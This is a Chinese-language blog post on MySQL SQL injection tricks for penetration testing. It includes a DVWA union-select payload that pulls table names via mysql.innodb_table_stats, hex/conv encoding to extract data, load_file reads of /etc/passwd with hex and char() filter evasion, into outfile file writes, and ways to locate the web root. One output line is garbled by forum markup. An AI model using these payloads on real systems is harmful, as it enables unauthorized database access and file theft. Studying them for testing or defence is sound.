MySQL注入技巧性研究

0x00 前言
MySQL是一個關係型數據庫管理系統,由瑞典MySQL AB 公司開發,目前屬於 Oracle 旗下產品。MySQL 是最流行的關係型數據庫管理系統之一,本人最近針對MySQL注入做了一下研究,針對一些注入技巧進行了分析,本文首發i春秋主要從MySQL數據庫的角度針對SQL注入技巧參考一些國外文檔進行了研究。

0x01 Information_Schema.Tables
我們在滲透測試時候經常會遇到過濾 Information_Schema.Tables 的情況,不能用 Information_Schema.Tables 怎麼獲取表名?

從MySQL5.5及以上版本開始,默認存儲引擎被稱爲InnoDB。在MySQL版本5.5及以上版本中如果你運行select @@innodb_version,你可以看到InnoDB的版本幾乎與您的MySQL版本相同。


在MySQL 5.6及以上版本中,我注意到InnoDB的2個新表。innodb_index_stats和 innodb_table_stats。這兩個表都包含所有新創建的數據庫和表名。


讓我們來看看這個表


示例:DVWA環境下
http://localhost/dvwa/vulnerabilities/sqli/?id=1' union select 1,group_concat(table_name) from mysql.innodb_table_stats where database_name=schema()%23&Submit=Submit%23



演示:



0x02 字母轉換成數字
這個方法的思路是先將字母保存爲數字,然後再解碼回來。主要的編碼方法如下:
字符串 -> 十六進制 -> 十進制

首先我們來認識幾個函數:
hex():可以用將一個字符串或數字轉換爲十六進制格式的字符串
unhex():把十六進制格式的字符串轉化爲原來的格式
conv():MySQL數字的進制轉換

首先我們將 version() 轉換成十六進制然後再轉換成十進制:
mysql> select conv(hex(version()), 16, 10);
+--------------------------------+
| conv(hex(version()), 16, 10)   |
+--------------------------------+
| 58472576987956                 |
+--------------------------------+



然後解碼就很簡單了:
mysql> select unhex(conv(58472576987956,10,16));
+-----------------------------------+
| unhex(conv(58472576987956,10,16)) |
+-----------------------------------+
| 5.5.34                            |
+-----------------------------------+



注意,這裏是有限制的,在MySQL中最高的數據類型是BIGINT。我們不能超過它,字符串的最大長度可以是8個字符。下面看演示:
mysql> select conv(hex('AAAAAAAA'),16,10);
+-----------------------------+
| conv(hex('AAAAAAAA'),16,10) |
+-----------------------------+
| 4702111234474983745         |
+-----------------------------+
1 row in set (0.00 sec)
 
mysql> select unhex(conv(4702111234474983745,10,16));
+----------------------------------------+
| unhex(conv(4702111234474983745,10,16)) |
+----------------------------------------+
| AAAAAAAA                               |
+----------------------------------------+



可以發現值4702111234474983745可以被解碼回AAAAAAAA如果我們再添加一個呢?
mysql> select conv(hex('AAAAAAAAA'),16,10);
+------------------------------+
| conv(hex('AAAAAAAAA'),16,10) |
+------------------------------+
| 18446744073709551615         |
+------------------------------+
1 row in set (0.00 sec)
 
mysql> select conv(hex('AAAAAAAAA'),16,10) = ~0;
+-----------------------------------+
| conv(hex('AAAAAAAAA'),16,10) = ~0 |
+-----------------------------------+
|                                 1 |
+-----------------------------------+
1 row in set (0.00 sec)


我們不會得到一個正確的十進制值,而是無符號的無符號BIGINT。我們知道了這個限制就很容易了,我們可以在編碼的時候使用substr()函數來截取字符串,最後解碼的時候使用concat()函數連接字符串。
mysql> select conv(hex(substr(user(),1,8)),16,10);
+-------------------------------------+
| conv(hex(substr(user(),1,8)),16,10) |
+-------------------------------------+
| 8245931987826405219                 |
+-------------------------------------+
 
mysql> select conv(hex(substr(user(),9,16)),16,10);
+--------------------------------------+
| conv(hex(substr(user(),9,16)),16,10) |
+--------------------------------------+
| 107118236496756                      |
+--------------------------------------+
 
然後使用concat()函數連接:
 
mysql> select concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10,16)));
+----------------------------------------------------------------------------------------+
| concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16))) |
+----------------------------------------------------------------------------------------+
| root[url=home.php?mod=space&uid=163960]@localhost[/url]                                                                         |
+----------------------------------------------------------------------------------------+



0x03 Load File 和 Into OutFile
很多人肯定都很熟悉這兩個,還是並沒有去過多深入瞭解一下,下面我們就來看一下什麼是Load File 和 Into OutFile。

Load File: 讀取文件並以字符串形式返回文件內容。

Into OutFile: 將所選行寫入文件,該文件會在服務器主機上進行創建,所以你必須要有執行這條命令的權限,還要注意要寫入的文件不能是現有的文件。如:/etc/passwd

獲取mysql.user和文件權限
mysql> select group_concat(user,0x3a,file_priv) from mysql.user;
+-----------------------------------+
| group_concat(user,0x3a,file_priv) |
+-----------------------------------+
| root:Y,root:Y,root:Y              |
+-----------------------------------+
1 row in set (0.00 sec)
 
mysql>


可以看見你的名字旁邊有個Y,這就代表你有文件權限,N就是沒有。

Load File
select load_file('/etc/passwd');


最簡單的形式就是這樣,下面就是一些tip:

1、../ 它可以幫助返回上一級目錄,必要時能幫助你
select load_file('/etc/php/../passwd');


2、使用16進制
select load_file(0x2f6574632f706173737764);



3、使用char函數
select load_file(char(47,101,116,99,47,112,97,115,115,119,100));




Into OutFile

基本格式很簡單
select 'test' into outfile '/home/1.txt';



下面就是一些tip:
1、如果你有兩個列或者更多的列,你必須使用null來替換該列,否則這些數據會和文本一起寫入你的文件。
2、如果你想要在文本中使用 Return/Enter 按鈕,你可以轉換成hex或者使用char函數。

0x04 探測web服務器路徑
在某些情況下,Web服務器根目錄不在默認文件夾中,這裏我們有兩種辦法來獲取。

基於報錯
默認情況下,PHP關閉自定義錯誤消息。有很多方法來強制 應用程序返回包含內部信息的錯誤消息。

比如注入一個單引號:
Fatal error: Call to a member function execute() on a non-object in /var/www/output.php
on line 15



通過LOAD_FILE方法
默認Apache配置文件包含了Apache Web服務器根目錄的路徑,使用此功能,用戶需要文件特權。該文件也必須是可讀的。
下面是在Apache 2.2版本上加載Apache配置文件的查詢的示例:
SELECT LOAD_FILE('/etc/apache2/sites-available/default')


0x05 總結
謝謝大家閱讀本文,MySQL數據庫非常靈活,本文或許也只介紹到了其中的一點點小技巧,歡迎大家回帖交流更多的小技巧。謝謝大家,如本文有哪裏錯誤,歡迎指正。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章